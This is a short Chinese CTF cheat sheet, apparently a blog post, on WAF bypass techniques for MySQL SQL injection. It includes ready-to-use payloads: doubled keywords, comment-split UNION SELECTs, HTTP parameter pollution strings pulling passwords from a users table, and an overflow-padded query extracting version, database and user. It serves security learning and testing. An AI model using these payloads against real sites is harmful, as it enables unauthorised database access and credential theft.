#ctf解题姿势#一些绕过方法

绕过WAF的方法

大小写混合
  • 小写或大写的关键字匹配技术,正则表达式/express/i 大小写敏感即无法绕过
替换关键字
  • 大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过
  • 举例:?id=-15 UNIunionON SELselectECT 1,2,3,4
使用编码
  • URL编码 ,存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过
  • 十六进制编码
  • Unicode编码
使用注释
  • 常见注释符号://, – , /**/, #, --+,-- -, ;,–a
  • 普通注释
    • /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询
  • 内联注释
    • /!**/只有MySQL能识别
    • 使用注释一个很有用的做法便是对关键字的拆分
等价函数与命令
  • 函数或变量
    • hex()、bin() ==> ascii()
    • sleep() ==>benchmark()
    • concat_ws()==>group_concat()
    • mid()、substr() ==> substring()
    • @@user ==> user()
    • @@datadir ==> datadir()
  • 符号
    • nd和or有可能不能使用,或者可以试下&&和||能不能用
    • =不能用,可以考虑尝试<、>(不小于又不大于,即等于)
  • 生僻函数
特殊符号
  • 比较常用的 `、~、!、@、%、()、[]、.、-、+ 、|、%00
  • 有点关系的 >>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
  • 反引号`
    • 可以用来过空格和正则,特殊情况下还可以将其做注释符用
  • “-+.”
    • 例如select+id-1+1.from users;,“+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
  • @符号
    • 例如select@^1.from users, @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
  • Mysql function() as xxx
    • 也可不用as和空格,例如select-count(id)test from users; //绕过空格限制
HTTP参数控制
  • HPP(重复参数污染)
    • id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
  • HPF(HTTP分割注入)
    • 使用%0a,%0d等执行
    • /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
缓冲区溢出
  • 使其处理测试向量时超出其缓冲区长度
  • ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

参考资料

  • https://www.cnblogs.com/drkang/p/8644399.html
  • https://www.jianshu.com/p/48a935b123ce

你可能感兴趣的:(网安学习)